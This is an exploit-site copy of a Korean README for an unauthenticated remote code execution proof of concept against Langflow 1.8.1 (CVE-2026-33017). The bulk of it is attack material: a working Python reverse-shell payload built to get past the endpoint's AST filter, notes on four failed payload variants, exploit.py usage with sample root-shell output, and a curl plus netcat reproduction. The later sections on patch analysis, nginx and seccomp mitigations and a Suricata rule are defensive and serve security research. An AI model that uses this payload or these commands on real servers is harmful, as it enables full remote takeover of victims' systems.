Sploitus

Exploit for Eval Injection in Langflow

githubexploit Β· 2026-08-13

Exploit Code

README548 lines
## https://sploitus.com/exploit?id=4EC627F7-506D-5C45-8BED-80F8302EDDE6
# CVE-2026-33017 β€” Langflow Unauthenticated RCE PoC

> **λ©΄μ±… μ‘°ν•­**  
> λ³Έ μ €μž₯μ†ŒλŠ” **λ³΄μ•ˆ 연ꡬ 및 ꡐ윑 λͺ©μ **으둜 μ œμž‘λ˜μ—ˆμŠ΅λ‹ˆλ‹€.  
> 격리된 μ‹€μŠ΅ ν™˜κ²½μ—μ„œλ§Œ μ‚¬μš©ν•˜μ‹­μ‹œμ˜€.  
> ν—ˆκ°€λ˜μ§€ μ•Šμ€ μ‹œμŠ€ν…œμ— μ‚¬μš©ν•˜λŠ” 것은 정보톡신망법 μœ„λ°˜μœΌλ‘œ ν˜•μ‚¬μ²˜λ²Œ λŒ€μƒμž…λ‹ˆλ‹€.

---

## 1. 취약점 κ°œμš”

| ν•­λͺ© | λ‚΄μš© |
|------|------|
| CVE ID | CVE-2026-33017 |
| μ·¨μ•½ μ†Œν”„νŠΈμ›¨μ–΄ | Langflow (AI μ›Œν¬ν”Œλ‘œμš° λΉŒλ”) |
| 영ν–₯ 버전 | Langflow ≀ 1.8.1 |
| 패치 버전 | Langflow β‰₯ 1.9.0 |
| 취약점 μœ ν˜• | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | λ“±μž¬ |

---

## 2. 취약점 원인 뢄석

### 2-1. μ·¨μ•½ μ—”λ“œν¬μΈνŠΈ

```
POST /api/v1/build_public_tmp/{flow_id}/flow
```

Public ν”Œλ‘œμš° λΉŒλ“œμš© μ—”λ“œν¬μΈνŠΈλ‘œ, **인증 없이 μ ‘κ·Ό κ°€λŠ₯**ν•˜λ„λ‘ μ„€κ³„λœ μ—”λ“œν¬μΈνŠΈλ‹€.

### 2-2. μ½”λ“œ μ‹€ν–‰ 경둜 (Call Chain)

μ†ŒμŠ€ μ½”λ“œλ₯Ό 직접 μΆ”μ ν•˜μ—¬ ν™•μΈν•œ μ‹€ν–‰ 경둜:

```
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    β”‚
    β–Ό
langflow/api/v1/chat.py β€” build_public_tmp()
    data = request.body["data"]          ← ν΄λΌμ΄μ–ΈνŠΈ μž…λ ₯ κ·ΈλŒ€λ‘œ μˆ˜μ‹  (취약점)
    β”‚
    β–Ό
langflow/api/build.py β€” start_flow_build()
    data = FlowDataRequest               ← ν΄λΌμ΄μ–ΈνŠΈ data κ·ΈλŒ€λ‘œ 전달
    β”‚
    β–Ό
lfx/custom/eval.py β€” eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    β”‚
    β–Ό
lfx/custom/validate.py β€” create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    β”‚
    β–Ό
lfx/custom/validate.py β€” prepare_global_scope()
    exec(compiled_code, exec_globals)    ← μž„μ˜ μ½”λ“œ μ‹€ν–‰
```

### 2-3. AST λ…Έλ“œ 필터링 β€” νŽ˜μ΄λ‘œλ“œ μ„€κ³„μ˜ 핡심 μ œμ•½

`prepare_global_scope()` ν•¨μˆ˜λŠ” 제좜된 μ½”λ“œμ˜ λͺ¨λ“  ꡬ문을 μ‹€ν–‰ν•˜μ§€ μ•ŠλŠ”λ‹€.
AST νŒŒμ‹± ν›„ **νŠΉμ • λ…Έλ“œ νƒ€μž…λ§Œ** μ„ λ³„ν•˜μ—¬ μ‹€ν–‰ν•œλ‹€:

```python
# lfx/custom/validate.py β€” prepare_global_scope() λ‚΄λΆ€
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Expr λ…Έλ“œλŠ” 어디에도 ν¬ν•¨λ˜μ§€ μ•ŠμŒ β†’ μ‹€ν–‰ μ•ˆ 됨

exec(compiled_code, exec_globals)  # definitions만 μ‹€ν–‰
```

μ‹€ν–‰ κ°€λŠ₯ν•œ AST λ…Έλ“œ νƒ€μž…:

| AST λ…Έλ“œ νƒ€μž… | μ˜ˆμ‹œ | μ‹€ν–‰ μ—¬λΆ€ |
|--------------|------|---------|
| `FunctionDef` | `def _shell(): ...` | βœ… μ‹€ν–‰ |
| `ClassDef` | `class ExploitComponent(Component)` | βœ… μ‹€ν–‰ |
| `Assign` | `_r = os.system("id")` | βœ… μ‹€ν–‰ |
| `AnnAssign` | `_r: int = os.system("id")` | βœ… μ‹€ν–‰ |
| `Expr` | `os.system("id")` (단독 호좜) | ❌ λ¬΄μ‹œ |

> **κ²°λ‘ **: νŽ˜μ΄λ‘œλ“œλŠ” λ°˜λ“œμ‹œ `Assign` ν˜•νƒœ(`_r = ...`)둜 μž‘μ„±ν•΄μ•Ό μ‹€ν–‰λœλ‹€.  
> λ‹¨μˆœ ν•¨μˆ˜ 호좜(`os.system("id")`)은 `Expr` λ…Έλ“œλ‘œ λΆ„λ₯˜λ˜μ–΄ ν•„ν„°μ—μ„œ κ±ΈλŸ¬μ§„λ‹€.

### 2-4. λ¦¬λ²„μŠ€ μ‰˜ νŽ˜μ΄λ‘œλ“œ 섀계 κ³Όμ • β€” μ‹œλ„μ™€ μ‹€νŒ¨ 뢄석

μ‹€μŠ΅ κ³Όμ •μ—μ„œ μ—¬λŸ¬ νŽ˜μ΄λ‘œλ“œ 방식을 μ‹œλ„ν•˜μ˜€μœΌλ©° 각 μ‹€νŒ¨ 원인을 μ†ŒμŠ€ λ ˆλ²¨μ—μ„œ 규λͺ…ν•˜μ˜€λ‹€.

#### μ‹œλ„ 1 β€” `subprocess.Popen` + `wait()` (μ‹€νŒ¨)
```python
_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← μ—¬κΈ°μ„œ λΈ”λ‘œν‚Ή
```
**μ‹€νŒ¨ 원인**: Langflow μ›Œμ»€ μŠ€λ ˆλ“œκ°€ μ»΄ν¬λ„ŒνŠΈ λ°˜ν™˜κ°’μ„ κ°μ‹œν•˜λ‹€κ°€  
νƒ€μž„μ•„μ›ƒ μ‹œ μ†ŒμΌ“μ„ κ°•μ œλ‘œ 닫아버림. `_proc.wait()` λΈ”λ‘œν‚Ήμ΄ λ¬΄μ˜λ―Έν•΄μ§.

#### μ‹œλ„ 2 β€” `os.execve()` 직접 호좜 (μ‹€νŒ¨)
```python
os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
```
**μ‹€νŒ¨ 원인**: POSIX κ·œμΉ™μƒ λ©€ν‹°μŠ€λ ˆλ“œ ν”„λ‘œμ„ΈμŠ€μ—μ„œ `execve()` 호좜 μ‹œ  
호좜 μŠ€λ ˆλ“œ μ™Έ **λͺ¨λ“  μŠ€λ ˆλ“œκ°€ μ’…λ£Œ**됨 β†’ uvicorn μ›Œμ»€ 전체 ν¬λž˜μ‹œ β†’ HTTP 500.

#### μ‹œλ„ 3 β€” `os.fork()` + `execve()` (μ‹€νŒ¨)
```python
_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)
```
**μ‹€νŒ¨ 원인**: uvicorn이 μžμ‹ ν”„λ‘œμ„ΈμŠ€λ₯Ό 비정상 μ’…λ£Œλ‘œ κ°μ§€ν•˜μ—¬  
μ›Œμ»€λ₯Ό μž¬μ‹œμž‘μ‹œν‚΄ β†’ HTTP 500.

#### μ‹œλ„ 4 β€” `threading.Thread(daemon=True)` (μ‹€νŒ¨)
```python
threading.Thread(target=_shell, daemon=True).start()
```
**μ‹€νŒ¨ 원인**: `daemon=True` μŠ€λ ˆλ“œλŠ” 메인 μŠ€λ ˆλ“œ(Langflow μ›Œμ»€) μ’…λ£Œ μ‹œ  
ν•¨κ»˜ μ†Œλ©Έλ¨. `connect()` μ‹œλ„ 전에 μŠ€λ ˆλ“œκ°€ 죽어버림.

#### μ΅œμ’… λ™μž‘ νŽ˜μ΄λ‘œλ“œ β€” `threading.Thread(daemon=False)` + `Assign`
```python
# FunctionDef β†’ 싀행됨
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign β†’ 싀행됨 (Expr 단독 ν˜ΈμΆœμ€ ν•„ν„°μ—μ„œ μ œμ™Έλ˜λ―€λ‘œ λ°˜λ“œμ‹œ λ³€μˆ˜ λŒ€μž…)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
```

`daemon=False` 선택 이유:
- `daemon=True` β†’ Langflow μ›Œμ»€ μŠ€λ ˆλ“œ μ’…λ£Œ μ‹œ ν•¨κ»˜ μ†Œλ©Έ
- `daemon=False` β†’ μ›Œμ»€μ™€ 독립적인 생λͺ…μ£ΌκΈ° β†’ μ†ŒμΌ“ μ—°κ²° μœ μ§€ κ°€λŠ₯

---

## 3. μ‹€μŠ΅ ν™˜κ²½ ꡬ성

### 3-1. 파일 ꡬ쑰

```
CVE-2026-33017/
β”œβ”€β”€ README.md
β”œβ”€β”€ Dockerfile              # μ·¨μ•½ Langflow 1.8.1 ν™˜κ²½
β”œβ”€β”€ Dockerfile.attacker     # 곡격자 μ»¨ν…Œμ΄λ„ˆ (curl, nc, net-tools 포함)
β”œβ”€β”€ docker-compose.yml      # μ·¨μ•½ μ„œλ²„ + 곡격자 μ»¨ν…Œμ΄λ„ˆ
β”œβ”€β”€ entrypoint.sh           # Langflow 기동 및 Public ν”Œλ‘œμš° μžλ™ 생성
β”œβ”€β”€ exploit.py              # λ¦¬λ²„μŠ€ μ‰˜ PoC
└── poc.py                  # Blind RCE / 취약점 쑴재 확인
```

### 3-2. ν™˜κ²½ 기동

```bash
# 1. μ»¨ν…Œμ΄λ„ˆ λΉŒλ“œ 및 기동
docker compose up --build

# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!

# 3. μ»¨ν…Œμ΄λ„ˆ IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
```

### 3-3. λ„€νŠΈμ›Œν¬ ꡬ성

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Docker Bridge Network: poc-net                  β”‚
β”‚                                                  β”‚
β”‚  langflow-vuln-lab   172.19.0.2:7860  (ν”Όν•΄μž)  β”‚
β”‚  langflow-attacker   172.19.0.3       (곡격자)  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## 4. PoC μ‚¬μš©λ²•

### 4-1. exploit.py β€” λ¦¬λ²„μŠ€ μ‰˜

곡격자 μ»¨ν…Œμ΄λ„ˆ μ•ˆμ—μ„œ μ‹€ν–‰:

```bash
docker exec -it langflow-attacker bash

# μžλ™ λͺ¨λ“œ (토큰 λ°œκΈ‰ + Public ν”Œλ‘œμš° 생성 + λ‚΄μž₯ λ¦¬μŠ€λ„ˆ 포함)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444
```

μ˜΅μ…˜:

| μ˜΅μ…˜ | μ„€λͺ… | κΈ°λ³Έκ°’ |
|------|------|--------|
| `--url` | λŒ€μƒ Langflow URL | ν•„μˆ˜ |
| `--lhost` | λ¦¬λ²„μŠ€ μ‰˜ 콜백 IP | ν•„μˆ˜ |
| `--lport` | λ¦¬λ²„μŠ€ μ‰˜ 콜백 포트 | ν•„μˆ˜ |
| `--flow-id` | Public ν”Œλ‘œμš° UUID (μƒλž΅ μ‹œ μžλ™ 생성) | μžλ™ |
| `--user` | κ΄€λ¦¬μž ID | admin |
| `--password` | κ΄€λ¦¬μž PW | admin123! |
| `--no-listen` | λ‚΄μž₯ λ¦¬μŠ€λ„ˆ λΉ„ν™œμ„±ν™” (μ™ΈλΆ€ nc μ‚¬μš© μ‹œ) | False |
| `--timeout` | HTTP νƒ€μž„μ•„μ›ƒ(초) | 30 |

κΈ°λŒ€ 좜λ ₯:

```
============================================================
  CVE-2026-33017 β€” Langflow Unauthenticated RCE PoC
============================================================
[*] 둜그인 쀑... (admin)
[*] 토큰 λ°œκΈ‰ 성곡
[*] Public ν”Œλ‘œμš° 생성 쀑...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] λ¦¬μŠ€λ„ˆ μ‹œμž‘ β†’ 0.0.0.0:4444
[*] μ—”λ“œν¬μΈνŠΈ : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백       : 172.19.0.3:4444
[*] νŽ˜μ΄λ‘œλ“œ 전솑 쀑...
[*] HTTP 응닡  : 200

[+] μ‰˜ 연결됨  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
```

### 4-2. poc.py β€” Blind RCE 확인

취약점 쑴재 μ—¬λΆ€λ§Œ 확인할 λ•Œ μ‚¬μš©:

```bash
python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"
```

### 4-3. curl μˆ˜λ™ μž¬ν˜„

```bash
# 1. 토큰 λ°œκΈ‰ + Public ν”Œλ‘œμš° 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. nc λ¦¬μŠ€λ„ˆ (터미널 1)
nc -lvnp 4444

# 3. νŽ˜μ΄λ‘œλ“œ 전솑 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json
```

---

## 5. exploit.py vs poc.py μ—­ν•  ꡬ뢄

| ν•­λͺ© | exploit.py | poc.py |
|------|-----------|--------|
| λͺ©μ  | λ¦¬λ²„μŠ€ μ‰˜ νšλ“ | 취약점 쑴재 확인 (Blind RCE) |
| κ²°κ³Ό 확인 | 곡격자 터미널 직접 | μ„œλ²„ 둜그 / OOB |
| λ¦¬μŠ€λ„ˆ | λ‚΄μž₯ 포함 | λΆˆν•„μš” |
| 닀쀑 λŒ€μƒ | 미지원 | 지원 (`--url-file`) |
| μ‹€μŠ΅ μš©λ„ | 영ν–₯도 증λͺ… | 취약점 쑴재 증λͺ… |

---

## 6. 패치 뢄석 β€” 1.8.1 vs 1.9.1

### 6-1. μ·¨μ•½ μ½”λ“œ (1.8.1)

`langflow/api/v1/chat.py`:

```python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← ν΄λΌμ΄μ–ΈνŠΈ μž…λ ₯ μˆ˜μ‹ 
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← ν΄λΌμ΄μ–ΈνŠΈ data κ·ΈλŒ€λ‘œ λΉŒλ“œ νŒŒμ΄ν”„λΌμΈμ— 전달
        ...
    )
```

### 6-2. 패치 μ½”λ“œ (1.9.1)

`langflow/api/v1/chat.py` (μ†ŒμŠ€μ—μ„œ 직접 확인):

```python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # data νŒŒλΌλ―Έν„° μ‹œκ·Έλ‹ˆμ²˜μ—μ„œ μ™„μ „ 제거
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← ν•˜λ“œμ½”λ”© None, ν΄λΌμ΄μ–ΈνŠΈ μž…λ ₯ μ™„μ „ 차단
        source_flow_id=flow_id,  # ← DBμ—μ„œλ§Œ ν”Œλ‘œμš° μ •μ˜ λ‘œλ“œ
        ...
    )
```

### 6-3. 패치 μ „/ν›„ λ™μž‘ 비ꡐ

| ν•­λͺ© | 1.8.1 (μ·¨μ•½) | 1.9.1 (패치) |
|------|-------------|-------------|
| `data` νŒŒλΌλ―Έν„° μˆ˜μ‹  | βœ… μˆ˜μ‹  | ❌ μ‹œκ·Έλ‹ˆμ²˜μ—μ„œ 제거 |
| ν΄λΌμ΄μ–ΈνŠΈ λ…Έλ“œ μ •μ˜ μ‹€ν–‰ | βœ… κ°€λŠ₯ | ❌ λΆˆκ°€ |
| ν”Œλ‘œμš° μ •μ˜ 좜처 | ν΄λΌμ΄μ–ΈνŠΈ μš”μ²­ λ°”λ”” | DB μ €μž₯ κ°’λ§Œ |
| 인증 없이 RCE | βœ… 성곡 | ❌ 차단 |
| HTTP 응닡 | 200 + μ‰˜ μ—°κ²° | 200 (빈 λΉŒλ“œ, λ…Έλ“œ μ—†μŒ) |

### 6-4. 패치 섀계 평가

λ‹¨μˆœ μž…λ ₯κ°’ 검증이 μ•„λ‹Œ **νŒŒλΌλ―Έν„° 자체λ₯Ό 제거**ν•œ 섀계가 μ˜¬λ°”λ₯Έ 이유:

```
μ·¨μ•½ν•œ 섀계: ν΄λΌμ΄μ–ΈνŠΈ μž…λ ₯ β†’ 검증 β†’ μ‹€ν–‰  (검증 우회 κ°€λŠ₯μ„± 쑴재)
패치 섀계:   ν΄λΌμ΄μ–ΈνŠΈ μž…λ ₯ β†’ μ™„μ „ λ¬΄μ‹œ
             DB μ €μž₯ ν”Œλ‘œμš°λ§Œ β†’ μ‹€ν–‰         (곡격 경둜 자체 제거)
```

---

## 7. 쑰치 방법

### 쑰치 1 β€” 버전 μ—…λ°μ΄νŠΈ (κ·Όλ³Έ ν•΄κ²°)

```bash
pip install langflow==1.9.1
```

### 쑰치 2 β€” Nginx λ¦¬λ²„μŠ€ ν”„λ‘μ‹œ μ—”λ“œν¬μΈνŠΈ 차단

파일 μœ„μΉ˜: `nginx.conf` (μ‹ κ·œ 생성)

```nginx
server {
    listen 80;

    # CVE-2026-33017 μ·¨μ•½ μ—”λ“œν¬μΈνŠΈ 차단
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}
```

> **주의**: Langflow 7860 포트의 μ™ΈλΆ€ 직접 λ…ΈμΆœλ„ 차단해야 효과적.

### 쑰치 3 β€” Apache λ¦¬λ²„μŠ€ ν”„λ‘μ‹œ μ—”λ“œν¬μΈνŠΈ 차단

파일 μœ„μΉ˜:
- Ubuntu/Debian: `/etc/apache2/sites-available/langflow.conf`
- CentOS/RHEL: `/etc/httpd/conf.d/langflow.conf`

```apache

    Require all denied

```

### 쑰치 4 β€” Public ν”Œλ‘œμš° λ―Έμ‚¬μš© μ •μ±…

Public ν”Œλ‘œμš°κ°€ μ—†μœΌλ©΄ μ—”λ“œν¬μΈνŠΈκ°€ 404λ₯Ό λ°˜ν™˜ν•˜μ—¬ 곡격 λΆˆκ°€.  
운영 μ •μ±…μœΌλ‘œ Public ν”Œλ‘œμš° 생성을 κΈˆμ§€ν•˜κ±°λ‚˜ κΈ°μ‘΄ ν”Œλ‘œμš°λ₯Ό PRIVATE으둜 λ³€κ²½.

### 쑰치 5 β€” AWS Security Group (λ„€νŠΈμ›Œν¬ 레벨)

EC2 ν™˜κ²½ κΈ°μ€€:
```
μΈλ°”μš΄λ“œ κ·œμΉ™:
  포트 7860 β†’ ν—ˆκ°€λœ IP만 ν—ˆμš© (0.0.0.0/0 제거)
```

### 쑰치 6 β€” μ»¨ν…Œμ΄λ„ˆ μ•„μ›ƒλ°”μš΄λ“œ 차단 (λ¦¬λ²„μŠ€ μ‰˜ 콜백 차단)

RCEκ°€ μ„±κ³΅ν•˜λ”λΌλ„ μ™ΈλΆ€ μ½œλ°±μ„ 차단:

```bash
# langflow μ»¨ν…Œμ΄λ„ˆ μ•„μ›ƒλ°”μš΄λ“œ 차단
iptables -I DOCKER-USER -s  -j DROP
```

λ˜λŠ” docker-compose.yml:
```yaml
langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0
```

### 쑰치 7 β€” μ»¨ν…Œμ΄λ„ˆ ν•˜λ“œλ‹ (ν”Όν•΄ μ΅œμ†Œν™”)

```yaml
langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp
```

seccomp ν”„λ‘œνŒŒμΌλ‘œ μœ„ν—˜ syscall 차단 (`langflow-seccomp.json`):

```json
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
```

```yaml
security_opt:
  - seccomp:./langflow-seccomp.json
```

### 쑰치 방법 μ’…ν•©

| 쑰치 | μœ ν˜• | 효과 |
|------|------|------|
| 1.9.1 μ—…λ°μ΄νŠΈ | κ·Όλ³Έ ν•΄κ²° | `data` νŒŒλΌλ―Έν„° 제거 |
| Nginx/Apache 차단 | μ ‘κ·Ό 차단 | 곡격 경둜 차단 |
| Public ν”Œλ‘œμš° λ―Έμ‚¬μš© | μ ‘κ·Ό 차단 | μ—”λ“œν¬μΈνŠΈ 404 |
| AWS Security Group | λ„€νŠΈμ›Œν¬ 차단 | μ™ΈλΆ€ μ ‘κ·Ό μ›μ²œ 차단 |
| μ•„μ›ƒλ°”μš΄λ“œ 차단 | 사후 차단 | λ¦¬λ²„μŠ€ μ‰˜ 콜백 차단 |
| μ»¨ν…Œμ΄λ„ˆ ν•˜λ“œλ‹ | ν”Όν•΄ μ΅œμ†Œν™” | κΆŒν•œ μƒμŠΉ/syscall 차단 |

---

## 8. 탐지 β€” IoC

### 탐지 νŒ¨ν„΄

μ˜μ‹¬ HTTP μš”μ²­:
```
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
```

Langflow μ„œλ²„ 둜그 νŒ¨ν„΄:
```
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process
```

### Suricata/Snort λ£°

```
alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)
```

---

## 9. 참고 자료

- [NVD β€” CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017)
- [EQSTLab/CVE-2026-33017](https://github.com/EQSTLab/CVE-2026-33017)
- [Langflow 곡식 패치 컀밋](https://github.com/langflow-ai/langflow)
- [CISA KEV](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- [JFrog Security Research](https://jfrog.com/blog/)

---

## 10. κΈ°μ‘΄ 곡개 PoCμ™€μ˜ 차별점

λ³Έ μ €μž₯μ†ŒλŠ” λ‹¨μˆœ PoC 싀행이 μ•„λ‹Œ **μ†ŒμŠ€ 레벨 뢄석**을 톡해 λ‹€μŒμ„ μΆ”κ°€λ‘œ 규λͺ…ν•˜μ˜€λ‹€:

1. **AST λ…Έλ“œ 필터링 발견**  
   `lfx/custom/validate.py`의 `prepare_global_scope()`κ°€ `Expr` λ…Έλ“œλ₯Ό λ¬΄μ‹œν•œλ‹€λŠ” 사싀을 μ†ŒμŠ€ λΆ„μ„μœΌλ‘œ 직접 확인. 이둜 인해 κΈ°μ‘΄ 곡개 PoC의 λ‹¨μˆœ ν•¨μˆ˜ 호좜 νŽ˜μ΄λ‘œλ“œκ°€ 이 ν™˜κ²½μ—μ„œ μ‹€νŒ¨ν•˜λŠ” 이유λ₯Ό 규λͺ….

2. **νŽ˜μ΄λ‘œλ“œ μ‹€νŒ¨ 원인 뢄석**  
   `Popen+wait()`, `execve()`, `fork()+execve()`, `daemon=True` μŠ€λ ˆλ“œ λ“± 4κ°€μ§€ λ°©μ‹μ˜ μ‹€νŒ¨ 원인을 uvicorn λ©€ν‹°μŠ€λ ˆλ“œ ꡬ쑰 및 POSIX κ·œμΉ™ κ΄€μ μ—μ„œ 뢄석.

3. **패치 μ½”λ“œ 직접 확인**  
   1.9.1의 `chat.py`μ—μ„œ `data=None` ν•˜λ“œμ½”λ”© 및 νŒŒλΌλ―Έν„° 제거λ₯Ό μ†ŒμŠ€ λ ˆλ²¨μ—μ„œ 직접 ν™•μΈν•˜μ—¬ 패치 섀계 μ˜λ„ 뢄석.